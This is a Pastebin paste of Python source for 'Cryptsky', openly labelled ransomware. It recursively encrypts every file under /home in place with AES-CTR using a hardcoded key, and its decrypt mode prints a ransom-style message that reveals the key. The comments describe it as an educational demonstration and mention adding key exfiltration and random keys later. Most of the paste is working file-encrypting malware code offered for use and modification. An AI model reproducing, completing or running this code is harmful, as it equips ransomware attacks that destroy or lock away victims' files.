Advertisement
Guest User

Untitled

a guest
Oct 20th, 2019
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.44 KB | None | 0 0
  1. from Crypto.Cipher import AES
  2. from Crypto.Util import Counter
  3. import argparse
  4. import os
  5.  
  6. import discover
  7. import modify
  8.  
  9. # -----------------
  10. # GLOBAL VARIABLES
  11. # CHANGE IF NEEDED
  12. # -----------------
  13. # set to either: '128/192/256 bit plaintext key' or False
  14. HARDCODED_KEY = 'internet'
  15.  
  16.  
  17. def get_parser():
  18. parser = argparse.ArgumentParser(description='Cryptsky')
  19. parser.add_argument('-d', '--decrypt', help='decrypt files [default: no]',
  20. action="store_true")
  21. return parser
  22.  
  23. def main():
  24. parser = get_parser()
  25. args = vars(parser.parse_args())
  26. decrypt = args['decrypt']
  27.  
  28. if decrypt:
  29. print '''
  30. Cryptsky!
  31. ---------------
  32. Your files have been encrypted. This is normally the part where I would
  33. tell you to pay a ransom, and I will send you the decryption key. However, this
  34. is an open source project to show how easy malware can be to write and to allow
  35. others to view what may be one of the first fully open source python ransomwares.
  36. This project does not aim to be malicious. The decryption key can be found
  37. below, free of charge. Please be sure to type it in EXACTLY, or you risk losing
  38. your files forever. Do not include the surrounding quotes, but do make sure
  39. to match case, special characters, and anything else EXACTLY!
  40. Happy decrypting and be more careful next time!
  41. Your decryption key is: '{}'
  42. '''.format(HARDCODED_KEY)
  43. key = raw_input('Enter Your Key> ')
  44.  
  45. else:
  46. # In real ransomware, this part includes complicated key generation,
  47. # sending the key back to attackers and more
  48. # maybe I'll do that later. but for now, this will do.
  49. if HARDCODED_KEY:
  50. key = HARDCODED_KEY
  51.  
  52. # else:
  53. # key = random(32)
  54.  
  55. ctr = Counter.new(128)
  56. crypt = AES.new(key, AES.MODE_CTR, counter=ctr)
  57.  
  58. # change this to fit your needs.
  59. startdirs = ['/home']
  60.  
  61. for currentDir in startdirs:
  62. for file in discover.discoverFiles(currentDir):
  63. modify.modify_file_inplace(file, crypt.encrypt)
  64. #os.rename(file, file+'.Cryptsky') # append filename to indicate crypted
  65.  
  66. # This wipes the key out of memory
  67. # to avoid recovery by third party tools
  68. for _ in range(100):
  69. #key = random(32)
  70. pass
  71.  
  72. if not decrypt:
  73. pass
  74. # post encrypt stuff
  75. # desktop picture
  76. # icon, etc
  77.  
  78. if __name__=="__main__":
  79. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement